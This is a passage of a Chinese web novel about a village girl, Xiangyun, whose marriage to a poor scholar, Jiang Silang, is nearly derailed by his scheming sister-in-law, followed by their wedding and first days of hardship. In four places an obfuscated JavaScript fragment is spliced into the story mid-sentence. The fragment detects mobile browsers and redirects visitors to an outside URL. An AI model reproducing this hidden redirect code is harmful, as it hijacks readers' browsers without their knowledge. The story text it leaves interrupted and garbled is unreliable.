陆老太听了，不由得连连点头。 “所以，娘，如果是姜四郎本人叫他大嫂托三婶提亲的，那这姜大嫂，肯定是希望咱们一个子儿的聘礼也不要！” 听到这里，陆老太也反应过来了。 没错啊，这爹死了，长兄如父，婆婆又是跟她过活，给她家干活的。按道理说，这聘礼姜四郎拿不出，就该姜老大兄弟三个给——姜老大第一个跑不掉，娘给他干活的。 “看来，这拿聘礼的事讨价还价，是姜大嫂的主意没错了。”陆老太道。 湘云点了点头：“我怀疑是的。” 陆老太叹了口气：“八字还没一撇呢，倒先算计上了！云儿，我看这亲事，也不是一门好亲！” 湘云轻声道：“且看吧，赵三婶不是去说了么，聘礼不能少。我就要看看那正主儿是什么态度，再做定夺。” 一时，陆木匠从地里干活回来。 陆老太就将聘礼一事对他说了，陆木匠一听，就皱起了眉头：“我近日在田间地头，也曾跟人打听过杏花村，人都说，姜家那长子长媳，为人奸滑狡诈，云儿嫁进这样的人家，我着实不太满意啊！” 陆老太听了，一声不吭，半晌方道：“以咱们云儿的美貌能干，本该能嫁个富裕人家，，美满富足度过一生的！那杀千刀的罗文……” “好了，不要再提那姓罗的了，省得云儿听见了伤心。” 顿了一顿，陆木匠又道：“云儿说得没错，聘礼不能少，且看那姜家，是何态度吧。” 杏花村，姜家。 赵三婶坐在堂屋里，对姜大嫂说：“我也劝了，让她们少要一点，可是她们家就是不乐意，说聘礼可以不多，但是绝不能少啊。” 姜大嫂听了，不由得暗暗皱眉。 只是，面上她丝毫没有流露出来，只是说：“那我要跟我们家老四好生商量一下，这十两银子，一枚金簪，可不是那么容易拿出来的。” 说完，她就站起身来：“三婶，留下吃饭？” 赵三婶知道，姜大嫂这是要送客了，于是就说：“我回去有事，你们好好商量吧，商量好了，叫你家老大去我家找我便是。” 赵三婶走后，姜老大从隔壁房里出来，问妻子：“娘子，要不要今晚就把老四找过来商量？” “商量个屁！所以说你笨！”姜大嫂白了丈夫一眼。 姜老大被妻子骂得有些摸不着头脑，于是询问地看着妻子。 姜大嫂冷笑道：“先晾她个十天半个月，让那陆家自己着急去！闺女名声都成那样了，还把头抬得高高的，还聘礼，我就不信这个邪了！” 姜老大一听，深觉有理，急忙点头：“对，咱们家要不去提亲，就没提亲的人了，他老陆家总不能让姑娘当尼姑去吧，成！就先晾着他们！” 姜大嫂点了点头：“对了，这事，千万别让老四知道了，他那个书呆子性子，万一非要给聘礼，那你娘手里那点东西，一准保不住！” 姜老大伸手捏了一把妻子的脸蛋：“乖乖，这个还用你交代？我难道还不省得？” 夫妻俩说笑了一会， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147850|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就各自干活去了。 过了三天，第四天，吃过早饭，姜四郎来了。 “大嫂，那陆家，可回话了没？”姜四郎也不饶弯子，直接就问，想是等了三天了，有些心急了。 姜大嫂和姜老大对望一样，姜大嫂摇了摇头，没有说话。 “那到底是怎么回事呢？是不是对我有什么不满意？”姜四郎问道。 姜大嫂叹了口气：“老四啊，嫂子也不知道咋回事，只听媒人说，人家说要再等等，要多想想。” 姜四郎不说话了。 半晌，他方缓缓道：“从开始提亲到现在，一共都有小半个月了，正常的话，成不成，结果都会出来了。这里头，怕是肯定有什么缘故吧？” “四弟啊，你可别多想，终身大事，谁也不会当成儿戏，人家说要等等，那咱们就等等呗。”姜大嫂忙道。 此时，姜母也从自己房里出来了：“咋回事？那陆家不乐意么？” “哎呦娘，没说不乐意，只说还要再想想，您不是腰疼病犯了吗，您赶紧回屋歇着去吧。”姜大嫂忙道。 转头，她又对小叔子说：“四弟啊，你也不用急，依嫂子看，这门亲事是跑不掉的，你就安心在家里等消息吧。” 姜四郎点了点头，转身离去。 路上，他眉头紧锁。 大嫂跟自己说话的时候，眼神闪烁，明显有虚言。 陆家的事，还是自己亲自去问一下，比较好。 到了中午放学的时候，姜四郎就一把拉住了周青：“周兄，请留步。” 周青停了下来，有些奇怪地看着他：“姜兄，何事？” “周兄可否帮小弟一个忙，让小弟见一见你那位表妹？” 听了这话，周青哈哈一笑：“怎么？我表妹没答应你的求婚？” “正是呢，我也不知道是什么缘故，就怕中间人传话有误，所以，想亲口问一问湘云姑娘。” 见姜四郎一脸的诚意，周青暗想，他倒是真心想求娶湘云的。 于是拍了怕他肩膀：“放心吧，包在我身上，随我来。” 两人来到陆家村村口的一所古庙里，周青便道：“我这就去叫湘云出来。” 姜四郎点了点头，便留在古庙里。 不一会，庙门口便响起轻快的脚步声，姜四郎的心跳，不由得加快起来。 他不由得想起两年前，第一次见到她的情形。 那是在春天的集市上，她拎着个竹篮，在菜摊上逛来逛去。 菜摊上有个佝偻着腰的老妇人，面前有一对糊满泥巴的青菜。 别人卖的青菜，都是根稍洗干净的，可是老妇人的眼睛似乎有毛病，看不清楚了，估计是也洗了，但是没洗干净。 湘云选来选去，最后毫不犹豫地买了老妇人的青菜。 而且，姜四郎分明看见，她多给了老妇人几个铜板。 那个时候，他还不知道她叫什么名字，是哪个村的，可是，从那时开始，他就对她有了很深的印象。 5. 见面 姜四郎正在回忆往事，却见古庙的门被缓缓推开了。 湘云一身桃红色的棉袍，俏生生地站在门口。 姜四郎立刻站了起来，他飞快地看了她一眼，只见她肤白如雪，一双大眼睛乌溜溜地，倒是毫不害羞地打量着他。 他有些手足无措，可是，很快就镇定了下来，对湘云道：“姑娘，可打扰你吃午饭了？” 湘云抿嘴一笑：“没有，我家的午饭一向很迟，有事的话，你就说吧。” 姜四郎不敢直视这张艳若桃花的脸，只低了头，轻声道：“姜某托人提亲之事，姑娘想必是知道的，对么？” 湘云点了点头：“我知道。” “姑娘的家人说要好好思量思量，这时间已经过去快半个月了，不知道陆伯父陆伯母两位，思量得究竟如何了？”姜四郎鼓足了勇气，一口气将心里的疑问问了出来。 听了他的话，湘云心下立刻恍然。 果然，这肯定不是姜四郎的主意，不然，他不会巴巴的来问。 三天了，她们家把聘礼的要求提了，按说，如果姜家愿意给聘礼的话，会立刻过来定日子。哪怕姜四郎手里没钱，也会一边定日子，一边筹备聘礼。 这事被搁浅了三天，一定是中间环节出了问题。 姜四郎这是急了，才来亲自找自己问的。 想到这里，湘云便道：“上次，媒人来问聘礼之事，我母亲说，知道你家艰难，不想要多，只要按照乡俗办就好，谁知道媒人去跟你大嫂说了此事之后，你大嫂却说聘礼太多，说要好好跟你商量，你们家不是正在商量此事吗？” 姜四郎听了湘云的话，心里也立刻明白了过来。 他大嫂舍不得钱了！ 自己的大嫂是什么样的人，自己当然清楚！ 无非怕自己拿不出来，娘又要想办法从他们身上筹钱呗。 想到这里，姜四郎轻声道：“按照乡俗办理，本是应该的，以姑娘品貌，便是金山银山为聘，也是值得的，只可叹姜某囊中羞涩。承蒙姑娘瞧得起，将来，必然不让姑娘受苦。” 见姜四郎说这话的时候脸色诚恳，湘云心里不由得有些感动。 她低了头，没有回答他的话。 不由自主的，她又想起了罗文。 曾经，罗文也对着自己指天誓日，说非她不娶，说将来考中了科举，一定要让她过好日子，封诰命夫人等等。 距离说这些话的时候，才不过短短几个月功夫，就传来了他在京城娶了官家小姐的消息。 许是怕自己和他的事情被岳父家知道吧，他居然连家都没有回，也没有接他爹娘进京。只是侍郎府里派了下人来，给罗家父母送了礼物，告知了婚事，只说是他们家姑爷在京城备考，打算再战春闱。 是无颜回乡见她的么？ 湘云咬紧了牙关，心头一阵痹痛。 “姑娘，新春将至，大地回春，又何必为那去年的枯草落叶伤怀？” 湘云心头猛地一震。 她迅速抬头，直愣愣看向姜四郎。 却见他一双深邃明亮的眼眸，也在紧紧地盯着她。 那目光里，似有千言万语，像是懂得，又像是怜惜。 他知道！他分明看穿了自己的心思！ 于是，她颤声问：“你——你家既然托人来提了亲事，想必也是知道外头的传言。” 姜四郎点了点头：“外头那些流言蜚语，你不必理会，我若在意，就不会托人提亲。” “那你为何不介意，你能告诉我原因么？”湘云实在是好奇，忍不住问道。 姜四郎微微一笑：“湘云，这个问题，姜某将会用一生来回答你。” 见湘云不语，姜四郎又道：“那事，只要稍微有点脑子的人，都知道，错不在你，所以，你真的不必为此难过。” 湘云叹了口气：“我难过，是因为，我至今才知道，他是那么的不值得。” 看着她脸上忧伤的神色，姜四郎的心里一阵牵动。 他实在想不明白，这样品貌俱佳的姑娘，罗文怎么会舍得放弃？ 就算仕途重要，可是，当今朝野清明，科举一年一次，每年都有不少无根无基的寒门子弟考中进士，走上仕途，继而飞黄腾达者，大有人在。 只需埋头苦读，自有出头的一日。 以大好姻缘，换取那几年捷径，实在是千重万重的划不来。 想到这里，他就开口劝慰道：“明知道不知道，就更不用回顾了，湘云，我会让你过上好日子的。” 湘云点了点头，脸上显出笑容：“不早了，我要回去了。” 说完，她便转身离去。 看着那桃红色的背影渐行渐远，姜四郎怔怔地发了一会呆。 随后，他就做了一个决定。 傍晚，乌山村，王家。 姜四郎站在大门口，轻轻扣响了门环。 他知道，王先生素来有午睡的习惯，所以，就等傍晚放学后，再去找他。 开门的是王先生的小儿子王八郎。 “哎呦，姜兄，你可真是稀客啊，是哪一阵风把你给吹来了？快快请进。” 对于父亲的得意门生，王八郎很是热情。 “八郎，老师可在家？” 八郎点了点头，一边把姜四郎领进客厅，一边叫道：“爹，爹！姜兄来找您了。” 王先生便从自己的房间里来到客厅，见到姜四郎，就拈了拈花白的胡须，笑道：“四郎，你怎么来了？” 姜四郎看了王八郎一眼。 八郎立刻会意：“爹，我去菜园挖地了。” 八郎走后，姜四郎就说：“学生不才，遇见一点事情，想跟先生求助。” “什么事？你说？” “学生想求先生，借学生二十两银子。” 王先生眯缝起了眼睛：“好端端的，为何要借银子？” “先生，学生要定亲了——定完了亲，学生就会退学，一边务农养家，一边读书，那二十两银子，不日就会归还。” “定亲？可是跟陆家村的那位姑娘定亲？”王先生缓缓问道。 姜四郎点了点头。 这事，居然连王先生都知道了呢。 王先生微微一笑：“陆木匠我认识，陆家家风甚好，这是一门好亲事。” 姜四郎笑了。 王先生又道：“二十两银子，我立刻借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147851|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你，不过，你不必退学，我不着急要你还银子。” 听了王先生的话，姜四郎心头甚是感激，他低声道：“先生厚爱，学生无以为报，只是学生家无隔宿之粮，既然娶了妻，就不能让妻子饿肚子，不然，岂不枉为一个男人！” 见姜四郎语气坚决，王先生便不再劝，他转身进屋，取了十五两银子，递给了姜四郎。又伸手拍了拍他的肩膀：“好样的，有志气！只是，书，还是不能丢啊！” 姜四郎伸手接过银子，道了声谢，就告辞了。 出了乌山村，姜四郎却没有回家。 而是直接去了镇上，花三两银子，买了一根金簪。 然后，他才回到杏花村，敲开了他大哥家的院门。 此时天色已经黑透，他大哥大嫂，还有他娘，三个人都在堂屋的灯下捡豆子。 要开春了，豆种捡好，就可以播种了。 见他来了，三个人都有些意外。 姜母就问：“四郎，你可吃饭了吗？” “娘，我不饿，我是来跟大嫂商量定亲的事的。” “定亲的事？怎么？陆家回话了？”姜大嫂挑起眉毛问。 “回话了，我今天放学之后，亲自去陆家村问的赵三婶。人家说，聘礼只要按照一般乡俗办就好。” 姜四郎没有揭穿他大嫂的小把戏。 他大嫂进姜家门十几年了，以前，没分家的时候，他还是个几岁孩子，就看出他大嫂不是一般人。 后来，他二嫂三嫂接连进门，妯娌三个整天勾心斗角，每次争斗，都是他大嫂赢。 对于他大嫂肚子里的那些弯弯绕，姜四郎心知肚明。 可是，这毕竟是他的亲大嫂，他一个做小叔子的，又能拿她怎么样呢！ 只好装作不知道，不动声色地破了她的局。 “真的啊？陆家没要多要聘礼？”姜母的语气有些兴奋，毕竟，小儿子的婚事也是她日夜悬心的。 姜四郎摇了摇头：“只要十两银子，一枚金簪！” “十两银子，一枚金簪？老四啊，你说得倒轻巧，可是你能拿得出来么？”姜大嫂有些不高兴了。 姜母忙道：“这聘礼的事，倒不是个事……” “娘！您赶紧去厨房看看火吧！您忘了，您还煮着芋头呢！”姜大嫂厉声道。 看着儿媳妇冰冷冷好似要吃人的眼神，姜母的心里打了个突。 虽说这年头儿媳妇都怕婆婆，可是，这个大儿媳实在厉害，表面上孝顺，背地里有千般手段，让你是在难以应付。 “娘，大嫂，聘礼的事，你们不用发愁，我已经准备好了！” 说完，姜四郎从怀里取出了那包银子，和那枚金簪。 姜家婆媳两登时呆住了。 过了半晌，姜母方颤巍巍地问：“儿啊！你哪里来那么多钱？” “我闲来无事，去给人代笔写书信挣的。”姜四郎怕母亲担心，就撒了一个善意的谎言。 听小叔子这样说，姜大嫂也一下露出了笑容，只要不用自己家的钱以及婆婆手里的钱就好。 于是，她忙道：“哎呦老四你也不早说，你等着，我明儿一早就去找赵三婶定日子！” 6. 成亲 三月，正是桃花盛开的季节。 天空变得越来越蓝，河水变得越来越清，杏花村那些逐渐变绿的柳树枝头，停满了叽叽喳喳的燕子。 再过三天，就是姜家四郎姜瑞智成亲的好日子了。 姜老爹虽然死了，可姜四郎有三个亲哥哥，三个亲姐姐都嫁在邻村，姜家在杏花村世代居住，也是个大族，姜四郎还有许多叔伯兄弟，兄弟以及嫂子们，都赶来帮忙筹备操办他的婚事，所以，这婚礼，也将是非常热闹的。 当然，婚事还是要有人来主持，那些叔伯堂哥们，都只能帮忙打打杂。 姜家老二是个不第秀才，自幼念多了书，是个不通俗事的书呆子，人情世故一概不知，指望他主持，是不可能的了。 姜家老三虽然不是读书人，可是老实巴交，三棍子打不出一个闷屁来，也没有本事主持操办这场婚事。 姜四郎自己是新郎官，自然是没法主持自己的婚事的。 唯有姜大郎，能说会道，聪明能干，八面玲珑，人面场上也吃得开，操办婚事非他莫属了。 这天，吃过晚饭后，姜母就郑重地对姜老大说：“老大啊，你爹去了，你是长兄，长兄如父，四郎的婚事，自然是你来操办了。” 姜老大抽着烟袋，与妻子对望了一眼，没有说话。 姜母又说：“怎么，你不愿意操办？” “娘，我没说不愿意操办——”姜老大欲言又止。 “那你为什么又不痛痛快快地答应？” “娘，您也说了，我是长子，家里的大小事情，都得我来扛的。”姜老大慢吞吞地说。 姜母看着儿子，等着他说下去。 “娘，家里的事情，都是我在操办，那我身为长子，家里的钱财，是不是也该由我来继承呢?”姜大郎终于露出了自己的目的。 姜母楞了一愣：“大郎，当日分家的时候，家产已经都分给你们兄弟三人了。” “可是，那点东西，是我和老二老三平分的。” 姜母又道：“东西是你们兄弟三人平分了，可是，我这个老婆子还是身强体壮的，我不是跟了你，天天给你干活挣钱么。” “娘，话不是这样说的，您天天给我干活挣钱，可是，您老了以后，还不是我养活您？你现在挣的钱，就是以后您自己老了吃饭看病的钱。”姜老大有些委屈地道。 听了儿子的话，一股怒气自姜母心头升起，她咬牙道：“大郎，你若是再敢说这些忤逆不孝的话，就算族长喜欢你，我也要去县衙告你不孝！” 听说母亲要告自己，姜大郎有些瑟缩地看了妻子一眼。 这时候，姜大嫂就皮笑肉不笑地对婆婆道：“娘啊，您这一去告您儿子，准能告赢。到时候，县太爷一发火，赏给您儿子几十大板，我听说，县衙的板子，可打死过不止一个人呢！” 姜母这才不吭声了，她当然舍不得告自己的儿子。 在大夏朝，不孝是重罪，都有被官府直接打死的。 于是姜大嫂又说：“娘啊，您儿子也不是不想管，只是，这操办婚事，不得要钱吗。” 见儿媳妇这样说，姜母的脸色才缓和了些：“聘礼已经有了，办个婚礼，应该要不了多少钱吧？” “娘，办个婚礼，还真要不少钱呢！您手里，不是还有些东西吗？干脆，拿出来分分算了。”姜大嫂一边说，一边紧张地观察着婆婆的反应。 姜母呆住了，她迟迟没说话。 姜大嫂有些急了：“娘，您若不把手里的东西拿出来分了，那四郎的婚事，大郎可就没法管了！” 见儿媳妇的语气里带着威胁，姜母心里挣扎着。 手里的那点东西，可是她全部的养老本。 真拿出来了，可就啥也没有了。 思量了一番，姜母方缓缓道：“我拿五两银子出来，你们拿去，给四郎置办酒席吧。” “什么？才五两？”姜大郎难以置信地瞪大了眼睛。 “娘，奶奶去世前留给你的，怎么也不止五两银子吧？” 姜母的眼神变得坚定起来：“大郎，你就莫要再打听了，娘给你五两银子，你去操办四郎的婚事。你若不愿意操办，那也行，娘现在就跟你分家，娘自己拿钱去给四郎操办！” 见母亲这样坚决，姜大郎和妻子对视了一眼。 姜大嫂就说：“哎呦娘，您说到哪里去了，我和大郎不过提一提而已，您别急，您把银子拿出来，我们操办就是。” 见儿媳这样说了，姜母这才作罢。 三天之后，一顶花轿，抬着湘云，进了姜家祖屋院子的大门。 当天，整个院子里热闹非凡，因天气晴好，酒席就开在院子里，一共摆了十几桌。 姜老大拿了银子，倒是诚心办事，把整个婚礼操办得非常好。 拜堂的时候，姜母看着一对新人，笑得合不拢嘴。 到了晚上，姜四郎在私塾的一干同窗们又闹了会洞房，夜深了，人才散尽。 姜四郎怀着无比激动的心情，回到房里，关上了房门。 见湘云头上还顶着红盖头，姜四郎便上前，将盖头轻轻揭下。 红烛掩映下，湘云的脸上薄薄施了脂粉，更添娇美，姜四郎不由得看呆了。 湘云微微一笑：“你不是早就见过我了么，怎么现在倒像是不认识一样？” 姜四郎柔声道：“以前不敢正视，现在是我娘子了，我第一次看清你，倒是真的。” 湘云环视了一眼所处的房间。 只见整个房里只有一张旧木床，一张桌子，一个贴了喜字的破旧的大柜子，还有一个粗木架子，真可谓用家徒四壁来形容了。 见她四处打量，姜四郎便轻声道：“娘子，我已经跟先生提了退学，从明日起，我便要挣钱养活你。” “退学？那你的书不读了吗？”湘云一惊。 “书，还是要读的，只不过，是一边务农，一边读书了。”说完，姜四郎就指了指架子上那厚厚的几排书本。 “你说你要务农？你会种地么？”湘云又问。 “娘子，莫要以为书生都手无缚鸡之力，你相公生在农家，长在农家，地里农活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147852|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有我不会的！” “我听媒人说，你不会种地……” 姜四郎笑道：“那是误传，我只因为一心想把时间都用在读书上，才把那五亩田地租给别人种，现在我有家了，男子汉大丈夫，读书务农，养家糊口，才是本等！” 听了他的话，湘云暗暗点头，觉得自己终究还是没嫁错人，眼前的男子分明是个有担当的。 见她眼波流转，姜四郎心里一阵荡漾，于是轻笑了一声：“娘子，洞房花烛夜，春宵一刻值千金啊！你总不能让为夫总是跟你谈论生计吧？” 湘云闻言，嫣然一笑。 四郎便吹灭了桌上的红烛，轻轻将她揽进怀里。 这一夜，四郎对她温柔体贴之至，两人累极，相拥着沉沉睡去，直到天亮，还没有醒。 这时候，姜大嫂却来敲门了：“老四！老四呀！” 两人这才惊醒，急忙起床，匆匆梳洗了，就开门将大嫂让进了屋里。 姜大嫂手拎一个竹篮，篮子上盖着一层笼布。一见两人仓促的模样，心里就明白昨夜两人一定是累极了，于是抿嘴笑道：“天色不早了，娘让我给你们送些肉包子来当早饭，吃完早饭，你两就要去我那里见过家里所有人了。” 四郎点了点头：“多谢大嫂！” 将竹篮放到了桌子上，姜大嫂又道：“你们头发有点乱，重新梳一下，再去我那里吧。” 听了这话，湘云不由得红了脸，就去自己带来的嫁妆——两口大木箱子里找铜镜，她出嫁前，她娘是去给她买了一方小铜镜做嫁妆的。 翻找了一会，她总算找到了铜镜。看着镜子里，自己的脖子上有着明显的吻痕，湘云的脸更红了，急忙找了一件领口较高的夹袍，手忙脚乱地换上了。 此时，四郎已经把竹篮上的笼布揭开，只见里面有一碟热气腾腾的包子，还有一罐豇豆稀饭。他就去厨房取了碗筷，将稀饭倒进碗里，夫妻二人坐下吃了，就锁了门，相跟着来到了姜老大家。 进了堂屋，湘云看见了满满一屋子人，显然，四郎的三个哥哥嫂嫂还有几个孩子都到齐了。 姜母穿一件崭新的黑布袍子，坐在正中。 四郎就从他大嫂手中接过放桌两杯茶的木头托盘，拉着湘云跪下来给母亲敬茶。 湘云看了婆母一眼，只见她一脸的慈和模样，接了她的茶笑眯眯地喝了，显然不是难相处的人。 然后，四郎便一一为她引见家人。 姜大郎夫妇一脸精明，两个儿子姜海姜河也随了爹娘，总之一家四口都是人精模样。 姜二郎夫妇也很有夫妻相，姜二郎一脸的书生气，弱不禁风，姜二嫂也很瘦弱，且看起来没有什么脾气，他们的儿子姜松倒是聪明活泼。 至于姜三郎夫妇，看起来就相差很大，姜三郎一看就是老实人，说话都有点口吃。可是，姜三嫂却生得白皙艳丽，三角眼透出泼辣相，他们的女儿姜云，长得像她娘，性子看起来却有些像她爹。 看着眼前这一大家长，湘云知道，以后的日子，恐怕，除了辛苦，还没有那么平静。 7. 新婚 全家人在姜老大家里热热闹闹吃了一顿午饭，又说了一会家常，四郎便携了湘云的手，告辞出来。 “走，我带你去看我们那五亩田地！”四郎兴奋地道。 湘云点了点头，随他走到田间小路上。 春寒已过，田野上扑面而来的风，吹在人的脸上感觉很柔和了。 田埂上枯草丛里，已经有了星星点点的绿意。 四郎拉着湘云的手，来到一片翻耕过的土地便，指着那黑褐色的土地，对湘云说：“你瞧，这三亩地，就是我们的。我们晚上回去，就捡豆子，过几天就开始种豆子。” “三亩地全种豆子么？”湘云的爹是木匠，凭借木匠手艺让全家人吃喝不愁，家里的地就不多，她爹娘，她大哥二哥下地种了，就用不着她这个没出阁的宝贝闺女下地。 所以，对于庄稼地里事，湘云一知半解。 她从小学的，是做女工，做饭，收拾屋子，也跟在她二哥后面读过一点书。 可是，即便如此，她到底是村里长大的孩子，当然知道，三亩地不能都种豆子。 听了她的话，四郎就笑道：“当然不会全种豆子，只种一小块豆子，收了豆子磨豆腐吃。其余大部分，都要种麦子的。不然，我们吃什么啊！” 湘云点了点头：“这是三亩地，那还有两亩呢？” “还有两亩是水田，在西边山脚下，我年前已经种上了油菜，好收菜籽榨油，到了五月份，再放水种稻子。” 湘云点了点头：“五亩地，自己种的话，产出的麦子和稻子，差不多够两个人吃饭，菜籽榨油，一年五六桶，就足够我们用的了。那麦子收完之后，要不要再种玉米？” 四郎说：“是的，麦子和稻子不一定够我们吃的，就算够我们两个人吃的，那要是生了孩子就不够了。所以，咱们种些玉米填补着。” “那，我们是不是要弄个菜园子？”湘云又问。 四郎微微一笑：“菜园我一直在种，不然我吃什么啊！” 然后，他又握住了湘云的手：“放心，地里活儿都有我，五亩地不多，我种得过来。你就在家织布，做饭洗衣，再喂点鸡鸭就得了。” 湘云听了，沉默不语。 像姜四郎描述的这种生活图景，听起来好像很美好。 可是，湘云自小在乡下长大，她太知道那种生活里所蕴含的风险了。 首先，就是遇见荒年，该怎么办！ 朝廷的赈灾粮食，不一定及时，就算有，很多情况下，也被当地的贪官污吏贪了大半，根本不能赖以活命。 其次，姜四郎自己也说了，这点粮食，只够两个人填饱肚子的。成亲不久就要生娃，一生就不止一个，拿什么来填饱孩子们的肚子？ 从小到大，湘云见过太多乡下穷苦的家庭，孩子们个个面黄肌瘦，哪怕大人不吃，全给孩子吃，也没办法让孩子活命。何况，大人也不能不吃啊！ 见湘云脸有忧色，姜四郎就伸手捏了一把她的脸蛋：“你在愁什么？” 湘云轻轻叹了口气：“四郎，你有没有想过，咱们将来要是有孩子呢？” 四郎脸色却丝毫未变：“这个不用你担心，我自有办法！” “什么办法？” 四郎道：“娘子，我既然娶了你，自然是要好好想法子让你过上衣食无忧的日子。” “那你——是打算要做坐馆么？” 姜四郎微微一笑：“坐馆的话，就没有时间读书了，我的志向，从来就不是当一个乡下教书先生。而且，我还没有考到秀才功名，也没资格坐馆。” “那你的志向是什么？”湘云立刻问。 “读书人的志向，天下人皆知，修身齐家治国平天下，仅此而已！”四郎挺了挺胸膛：“娘子，当下虽然艰难，可是，我不会让咱们永远艰难。” “可是，当下的艰难，却是必须要度过的。”湘云皱眉道。 “我知道，我明白，娘子，你放心，为夫自有法子。” 说完，他便拉了湘云的手，一起回到了家中。 打开院门，湘云这才开始认真打量这所破旧的院子。 院子很大，三间看起来年深日久的青石房子，两间茅草为顶，泥巴做墙的厨房。院子里有鸡舍，有猪圈。 看来，以后养些鸡鸭是不成问题的。 这样的院子，湘云她们村到处都是。院子里的那些女主人，一年到头忙忙碌碌，却总是吃不饱饭。 湘云暗想：“未来，自己绝不能重复她们那样的日子！” 看看天色尚早，四郎就道：“娘子，厨房里间，就是仓房，仓房里有一布袋豆子，你取出来，将没有被虫蛀的挑出来，过两天我好去地里播种，我去镇上有事。” 说完，他便自去堂屋，从墙上取了一个布袋子，背在身上，开门出去了。 一路疾行，四郎来到了板桥镇上。 板桥镇地处滁州府东南，附近乡村密集，镇上人烟稠密，端的是个繁华大镇，足有几千户人家。 镇上有一条主街道，平日里逢集就是四里八乡小商小贩在这里摆摊卖东西，街道两边商铺林立，是镇上最热闹的地方。 姜四郎在十字路口停了下来，将包里的物件一一取出，先是一张白布，然后是笔墨纸砚，最后是一个“代写书信”的红纸牌。 将一切收拾停当之后，他就盘膝坐在地上，默默地等生意。 不是逢集的日子，街上虽有人来人往，却稀稀拉拉。 路过的行人，偶尔有人好奇地驻足看一下，还有人问：“你这是卖什么的？” 姜四郎就说：“我是替人代写书信的。” 过了大约有半个时辰，还是没有一个人来光顾。 姜四郎不由得暗暗失望，他没想到，这么大一个镇子，居然没有一个需要写书信的人。 又过了一会，就在他即将绝望，将要收摊的时候，突然来了一个中年妇人，对他说：“小伙子，你可是替人代写书信的？” 姜四郎急忙点了点头：“是的，大嫂，你要写书信？” 妇人说：“我当家的在外头做生意，我想托人稍一封家书给他，你这写一封信，要多少钱？” “五文钱一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147853|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封信！” 那妇人便从衣兜里取出五个铜钱，递给了姜四郎：“我说，你写！” 姜四郎便埋头磨墨，根据那妇人的口述，写了起来。 写完之后，稍微晾干了墨迹，姜四郎便将信纸递给妇人，那妇人满意而去。 又等了一会，眼见太阳落山了，姜四郎便收拾摊子，打算回家。 这是他第一次做这营生，挣了五文钱，心里还是满意的。 一文钱就可以买两块肉沫烧饼，一天挣了十块烧饼，足可以养活两人了。 想到这里，他就来到烧饼店门口，买了两块热乎乎的肉沫葱油烧饼，用油纸包好了，就往家里回了。 这家烧饼店里的烧饼个头特别大，自己吃一块就吃饱了，湘云估计一块都吃不完，今天的晚饭便解决了。 再说湘云。 四郎走后，她便来到跟厨房相连的仓房。 只见这所谓的仓房里，也是空空如也，只有两只布口袋，一袋装着几斤白面，一袋装着约莫二斤黄豆。 看到这情形，湘云忍不住叹了口气。 她在脑子里暗暗思索着谋生的法子。 娘家虽然吃喝不愁，可是，自己毕竟是出嫁的女儿，已经不能再回娘家伸手要钱了，那样就是在打四郎的脸。 可是，四郎分明家无隔宿之粮。 那点白面，两个人，够吃几天的呢？ 湘云又将视线转移到那袋大豆上。 春天了，大豆播种到收获，得几个月，麦子从播种到收获，也得几个月。 这几个月，两口子吃什么？喝什么？ 湘云搬了个小马扎，拿了个大碗，一边将饱满的完好的黄豆捡到大碗里，一边回想着她爹陆木匠说过的一句话。 陆木匠说：“咱们乡下人，凡是死守着那几亩田地过活的，都别想衣食无忧！要么做生意买卖，要么有个手艺，那才能安身立命！” 此刻，湘云越想，越觉得她爹的话非常对。 看她们陆家村里的那些庄邻们，杀猪匠也好，泥瓦匠也好，铁匠也好，但凡有个手艺的，就不会让自己的家人挨饿。 那些受冻挨饿的，都是老实巴交脑子不灵光只会在土地上出死力气的人。 没有手艺的话，做买卖也能过上好日子。 自己以后到底能干啥呢？ “娘子！娘子！”四郎推门而入。 只见他笑眯眯地从怀里掏出一个油纸包：“你饿了吧，来，吃肉沫烧饼！” 湘云看了一眼烧饼：“相公，你哪里来的钱买烧饼？” 